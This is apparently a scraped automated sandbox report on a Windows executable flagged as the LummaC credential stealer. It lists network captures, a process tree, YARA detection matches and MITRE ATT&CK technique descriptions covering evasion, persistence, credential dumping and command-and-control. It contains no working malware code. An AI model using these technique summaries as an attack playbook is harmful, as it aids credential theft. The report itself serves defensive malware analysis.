2024-11-23 14:38:24 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:24 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143824Z-178bfbc474bscnbchC1NYCe7eg00000004n000000000kntf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:38:24 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:25 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 24867866-a01e-0053-1264-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143825Z-178bfbc474bh5zbqhC1NYCkdug00000004kg000000005wvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:25 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:25 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 814f5bec-201e-003f-7d43-3c6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143825Z-178bfbc474b9xljthC1NYCtw9400000004f000000000cy0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:25 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:25 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 990fd94f-f01e-0052-6c4e-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143825Z-178bfbc474bbcwv4hC1NYCypys00000004bg00000000gbr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:25 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:26 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:27 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:26 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 50374635-701e-0053-1175-3b3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143826Z-174c587ffdfn4nhwhC1TEB2nbc000000031g00000000mrry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:38:27 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:26 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:27 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143827Z-178bfbc474bgvl54hC1NYCsfuw00000004n0000000005s0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:27 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	0
Start time:	09:36:59
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x710000
File size:	1'922'048 bytes
MD5 hash:	862E98F36FF57242302DEA55B980F0B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2107970661.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2107824902.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2108594989.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2108453309.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:37:34
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:37:34
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2000,i,5454548092775656080,16599925680545359581,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:37:37
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:37:38
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1512 --field-trial-handle=1980,i,3811379757786440935,1444168497897757390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00DD0CD4 Relevance: .5, Instructions: 508COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2362167031.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DBB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_dbb000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17848b910c99a8a4a29134cf724ca1c82c03348736e2f91e98c712adc70fcd35
Instruction ID: b26d41dcf5d7e6f237913a3584c941d387bca2a10c4e90c51a54ab403a12f8e7
Opcode Fuzzy Hash: 17848b910c99a8a4a29134cf724ca1c82c03348736e2f91e98c712adc70fcd35
Instruction Fuzzy Hash: 0102DF6544E7D18FD3034BB488696907FB0AE1B224B1E85EBC8C0DF5B3E668591ED372

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

